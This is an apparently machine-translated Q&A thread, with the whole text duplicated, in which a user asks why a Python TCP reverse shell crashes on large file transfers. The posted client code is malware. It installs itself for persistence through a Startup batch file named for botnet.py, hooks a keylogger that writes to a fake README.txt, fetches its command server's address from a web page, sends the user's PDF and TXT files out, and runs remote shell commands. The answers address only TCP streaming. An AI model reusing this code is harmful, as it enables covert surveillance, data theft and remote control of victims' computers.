Python 套接字 TCP 连接大小限制?
Python Socket TCP connection size limit?
我目前正在创建一个基于 TCP 的反向 shell(客户端在远程计算机上,连接到本地服务器),它既可以发送和接收文件,也可以通过 TCP 发送 shell 命令.
这些程序在其他方面(例如,接收和发送命令、服务器接收文件)大部分时间都运行良好,直到我尝试将大文件(我记得大于 1 kb)从服务器发送到客户端。
发生的事情是当我尝试发送大文件时,在服务器完成发送后,客户端由于某种原因崩溃了。我什至看不到错误消息。我试图通过在客户端显示接收到的内容来调试它,但它似乎接收正常但立即崩溃。
我将为那些想要帮助的人附上客户端代码和服务器代码。代码有点奇怪,因为我在第一次调试时添加了一些 "flags"。谢谢。
服务器代码:
import socket, pickle, time, os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = 'localhost'
port = 1024
server.bind((address, port))
server.listen(5)
c, addr = server.accept()
file_list = {}
print'connection from: '+str(addr)
print'remote shell can only be used for utility purpose, when switching dirve, use "//" between cd and address'
os.chdir("C:/Users/Insert_Name/Desktop/Server")
while True:
command = raw_input(str(addr)+'>>')
if command == 't':
c.send(command)
cile_list = c.recv(1024)
cile_lista = pickle.loads(cile_list)
for key, value in cile_lista.iteritems():
if 'Downloads' in key:
a, sep, b = key.partition('/Downloads/')
if 'Documents' in key:
a, sep, b = key.partition('/Documents/')
if 'JAVA' in key:
a, sep, b = key.partition('/JAVA_BACKUP/')
output = open(b, 'wb')
content = c.recv(value)
output.write(content)
output.close()
print'file transfer complete'
if command == 'a':
c.send(command)
print'enter T to indicate file list complete'
patha = raw_input('Enter file path(must be in server directory, aka Server): ')
while patha != 'T':
try:
f = open(patha,'rb')
f.close()
size = os.path.getsize(patha)
a, sep, b = str(size).partition('L')
file_list[patha] = int(a)
except:
print'invalid file name'
patha = raw_input('Enter file path(must be in server directory): ')
if len(file_list) == 0:
c.send(pickle.dumps({'0.txt':0}))
else:
file_lista = pickle.dumps(file_list)
c.send(file_lista)
print file_list
for file in file_list:
os.chdir("C:/Users/Insert_Name/Desktop/Server")
content = open(file, 'rb')
content = content.read()
c.send(content)
file_list.clear()
if command != 't':
if command != 'a':
if 'start' in command:
c.send(command)
else:
c.send(command)
if '//' in command:
a, sep, b = command.partition('//')
c.send(b)
feedback = c.recv(1024)
print feedback
while True:
feedback = c.recv(1024)
if '_DONE_' in feedback:
a, sep, b = feedback.partition('_SEP_')
print a
break
print feedback
客户代码:
import socket, os, textract, pickle, requests, time, threading, subprocess, getpass, shutil, lxml, glob, pyHook, pythoncom, sys, logging
from shutil import copyfile
from lxml import html
from os import listdir
#var is the varification webiste
var = 'https://www.publishthis.email/test-SJC9dAQ3G'
file_list = {}
print file_list
username = getpass.getuser()
def duplication(username):
source = "C:/Users/"+username+"/Downloads/MATH_COUNTS/botnet.py"
destination = "C:/Users/"+username+"/Saved Games"
shutil.copy(source, destination)
setup = open('C:/Users/'+ username+'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/setup.bat', 'w')
pl =('@echo off\nstart C:\Users/%USERNAME%/Saved Games/botnet.py')
setup.write(pl)
setup.close()
def communication(var):
page = requests.get(var)
print page
tree = html.fromstring(page.content)
address = tree.xpath('//div[@class = "body"]/div[@dir = "ltr"]/text()')
address = ''.join(address)
address = address.replace("'", "")
return address
def keylogger(username):
filename = "C:/Users/"+username+"/Saved Games/README.txt"
def keylog(event):
username = getpass.getuser()
logging.basicConfig(filename ="C:/Users/"+username+"/Saved Games/README.txt" , level=logging.DEBUG, format = '%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hm = pyHook.HookManager()
hm.KeyDown = keylog
hm.HookKeyboard()
pythoncom.PumpMessages()
def tcp_connection(address, username):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = client.connect((address, 1024))
while True:
command = client.recv(1024)
if command != 'a':
if command == 't':
file_gatherer(username)
print file_list
file_lista = pickle.dumps(file_list)
client.send(file_lista)
for file in file_list:
file = open(file, 'rb')
file = file.read()
client.send(file)
if command != 't':
if command != 'a':
if 'cd' in command:
f = os.getcwd()
b = client.recv(1024)
try:
os.chdir(b)
r = os.getcwd()
except:
r = 'error: invalid directory name'
else:
result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
f = result.stdout.read()
r = result.stderr.read()
client.send(f)
client.send(r)
client.send('_SEP_/n_DONE_')
if command == 'a':
cile_list = client.recv(1024)
cile_lista = pickle.loads(cile_list)
print cile_lista
for key, value in cile_lista.iteritems():
output = open(key, 'wb')
content = client.recv(value)
print content
output.write(content)
output.close()
def file_gatherer(username):
try:
os.makedirs("C:/Users/"+username+"/Games/JAVA_BACKUP")
except:
pass
for file in os.listdir("C:/Users/"+username+"/Games/JAVA_BACKUP"):
try:
file_list["C:/Users/"+username+"/Games/JAVA_BACKUP/" + file] = os.path.getsize(file)
except:
pass
os.chdir("C:/Users/"+username+"/Downloads")
for file in glob.glob('*.pdf'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
for file in glob.glob('*.txt'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
os.chdir("C:/Users/"+username+"/Documents")
for file in glob.glob('*.pdf'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Documents/" + file] = int(a)
#for file in glob.glob('*.txt'):
# file_list["C:/Users/"+username+"/Documents/" + file] = os.path.getsize(file)
tcp_connection('localhost', username)
def main():
duplication()
keylogger()
address = communication(var)
file_gatherer()
file_transfer(address)
问题只是文件传输。
- 您通常不能假设套接字读取会填满缓冲区,或者套接字写入会发送指定的全部数据。
- 一般来说,您不应该将整个文件加载到内存中:您应该使用具有合理缓冲区大小(比如 8K)的复制循环。
Python Socket TCP connection size limit?
你问错问题了。真正的问题是 TCP 是一种流协议,而您将其视为一种消息协议,即您在代码中假设一侧的每个 send
都将由对等端的一个 recv
处理.除此之外,您假设 send
将写入作为参数给出的完整缓冲区,但它不会写入 documentation clearly states:
Applications are responsible for checking that all data has been sent; if only some of the data was transmitted, the application needs to attempt delivery of the remaining data.
忽略这意味着您在读取数据时可能会遇到 "messages" 不完整的情况,或者在读取数据时会出现多个 "messages"(或一个填充和一个部分或类似)。例如,这可能会在尝试解封数据时导致崩溃。
但是要达到大小限制:在单个 send
中实际可以写入的数据量是有限的。此限制取决于套接字缓冲区的大小以及套接字的当前状态,即套接字是否已填满。如果您使用 ssl 套接字,它会进一步受到 SSL 帧的最大大小的限制。但是 TCP 本身对可以传输多少数据没有限制,但是如果你传递很多数据,你需要多次写入套接字。
The client program contains a keylogger, which is for now useless because I haven't created a command to activate it yet, so you can just ignore that.
当你自己调试问题或请别人帮助你调试它时,如果你扔掉重现问题实际上不需要的所有东西,它会有很大帮助。参见 How to create a Minimal, Complete, and Verifiable example。
我目前正在创建一个基于 TCP 的反向 shell(客户端在远程计算机上,连接到本地服务器),它既可以发送和接收文件,也可以通过 TCP 发送 shell 命令. 这些程序在其他方面(例如,接收和发送命令、服务器接收文件)大部分时间都运行良好,直到我尝试将大文件(我记得大于 1 kb)从服务器发送到客户端。 发生的事情是当我尝试发送大文件时,在服务器完成发送后,客户端由于某种原因崩溃了。我什至看不到错误消息。我试图通过在客户端显示接收到的内容来调试它,但它似乎接收正常但立即崩溃。 我将为那些想要帮助的人附上客户端代码和服务器代码。代码有点奇怪,因为我在第一次调试时添加了一些 "flags"。谢谢。
服务器代码:
import socket, pickle, time, os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = 'localhost'
port = 1024
server.bind((address, port))
server.listen(5)
c, addr = server.accept()
file_list = {}
print'connection from: '+str(addr)
print'remote shell can only be used for utility purpose, when switching dirve, use "//" between cd and address'
os.chdir("C:/Users/Insert_Name/Desktop/Server")
while True:
command = raw_input(str(addr)+'>>')
if command == 't':
c.send(command)
cile_list = c.recv(1024)
cile_lista = pickle.loads(cile_list)
for key, value in cile_lista.iteritems():
if 'Downloads' in key:
a, sep, b = key.partition('/Downloads/')
if 'Documents' in key:
a, sep, b = key.partition('/Documents/')
if 'JAVA' in key:
a, sep, b = key.partition('/JAVA_BACKUP/')
output = open(b, 'wb')
content = c.recv(value)
output.write(content)
output.close()
print'file transfer complete'
if command == 'a':
c.send(command)
print'enter T to indicate file list complete'
patha = raw_input('Enter file path(must be in server directory, aka Server): ')
while patha != 'T':
try:
f = open(patha,'rb')
f.close()
size = os.path.getsize(patha)
a, sep, b = str(size).partition('L')
file_list[patha] = int(a)
except:
print'invalid file name'
patha = raw_input('Enter file path(must be in server directory): ')
if len(file_list) == 0:
c.send(pickle.dumps({'0.txt':0}))
else:
file_lista = pickle.dumps(file_list)
c.send(file_lista)
print file_list
for file in file_list:
os.chdir("C:/Users/Insert_Name/Desktop/Server")
content = open(file, 'rb')
content = content.read()
c.send(content)
file_list.clear()
if command != 't':
if command != 'a':
if 'start' in command:
c.send(command)
else:
c.send(command)
if '//' in command:
a, sep, b = command.partition('//')
c.send(b)
feedback = c.recv(1024)
print feedback
while True:
feedback = c.recv(1024)
if '_DONE_' in feedback:
a, sep, b = feedback.partition('_SEP_')
print a
break
print feedback
客户代码:
import socket, os, textract, pickle, requests, time, threading, subprocess, getpass, shutil, lxml, glob, pyHook, pythoncom, sys, logging
from shutil import copyfile
from lxml import html
from os import listdir
#var is the varification webiste
var = 'https://www.publishthis.email/test-SJC9dAQ3G'
file_list = {}
print file_list
username = getpass.getuser()
def duplication(username):
source = "C:/Users/"+username+"/Downloads/MATH_COUNTS/botnet.py"
destination = "C:/Users/"+username+"/Saved Games"
shutil.copy(source, destination)
setup = open('C:/Users/'+ username+'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/setup.bat', 'w')
pl =('@echo off\nstart C:\Users/%USERNAME%/Saved Games/botnet.py')
setup.write(pl)
setup.close()
def communication(var):
page = requests.get(var)
print page
tree = html.fromstring(page.content)
address = tree.xpath('//div[@class = "body"]/div[@dir = "ltr"]/text()')
address = ''.join(address)
address = address.replace("'", "")
return address
def keylogger(username):
filename = "C:/Users/"+username+"/Saved Games/README.txt"
def keylog(event):
username = getpass.getuser()
logging.basicConfig(filename ="C:/Users/"+username+"/Saved Games/README.txt" , level=logging.DEBUG, format = '%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hm = pyHook.HookManager()
hm.KeyDown = keylog
hm.HookKeyboard()
pythoncom.PumpMessages()
def tcp_connection(address, username):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = client.connect((address, 1024))
while True:
command = client.recv(1024)
if command != 'a':
if command == 't':
file_gatherer(username)
print file_list
file_lista = pickle.dumps(file_list)
client.send(file_lista)
for file in file_list:
file = open(file, 'rb')
file = file.read()
client.send(file)
if command != 't':
if command != 'a':
if 'cd' in command:
f = os.getcwd()
b = client.recv(1024)
try:
os.chdir(b)
r = os.getcwd()
except:
r = 'error: invalid directory name'
else:
result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
f = result.stdout.read()
r = result.stderr.read()
client.send(f)
client.send(r)
client.send('_SEP_/n_DONE_')
if command == 'a':
cile_list = client.recv(1024)
cile_lista = pickle.loads(cile_list)
print cile_lista
for key, value in cile_lista.iteritems():
output = open(key, 'wb')
content = client.recv(value)
print content
output.write(content)
output.close()
def file_gatherer(username):
try:
os.makedirs("C:/Users/"+username+"/Games/JAVA_BACKUP")
except:
pass
for file in os.listdir("C:/Users/"+username+"/Games/JAVA_BACKUP"):
try:
file_list["C:/Users/"+username+"/Games/JAVA_BACKUP/" + file] = os.path.getsize(file)
except:
pass
os.chdir("C:/Users/"+username+"/Downloads")
for file in glob.glob('*.pdf'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
for file in glob.glob('*.txt'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
os.chdir("C:/Users/"+username+"/Documents")
for file in glob.glob('*.pdf'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Documents/" + file] = int(a)
#for file in glob.glob('*.txt'):
# file_list["C:/Users/"+username+"/Documents/" + file] = os.path.getsize(file)
tcp_connection('localhost', username)
def main():
duplication()
keylogger()
address = communication(var)
file_gatherer()
file_transfer(address)
问题只是文件传输。
- 您通常不能假设套接字读取会填满缓冲区,或者套接字写入会发送指定的全部数据。
- 一般来说,您不应该将整个文件加载到内存中:您应该使用具有合理缓冲区大小(比如 8K)的复制循环。
Python Socket TCP connection size limit?
你问错问题了。真正的问题是 TCP 是一种流协议,而您将其视为一种消息协议,即您在代码中假设一侧的每个 send
都将由对等端的一个 recv
处理.除此之外,您假设 send
将写入作为参数给出的完整缓冲区,但它不会写入 documentation clearly states:
Applications are responsible for checking that all data has been sent; if only some of the data was transmitted, the application needs to attempt delivery of the remaining data.
忽略这意味着您在读取数据时可能会遇到 "messages" 不完整的情况,或者在读取数据时会出现多个 "messages"(或一个填充和一个部分或类似)。例如,这可能会在尝试解封数据时导致崩溃。
但是要达到大小限制:在单个 send
中实际可以写入的数据量是有限的。此限制取决于套接字缓冲区的大小以及套接字的当前状态,即套接字是否已填满。如果您使用 ssl 套接字,它会进一步受到 SSL 帧的最大大小的限制。但是 TCP 本身对可以传输多少数据没有限制,但是如果你传递很多数据,你需要多次写入套接字。
The client program contains a keylogger, which is for now useless because I haven't created a command to activate it yet, so you can just ignore that.
当你自己调试问题或请别人帮助你调试它时,如果你扔掉重现问题实际上不需要的所有东西,它会有很大帮助。参见 How to create a Minimal, Complete, and Verifiable example。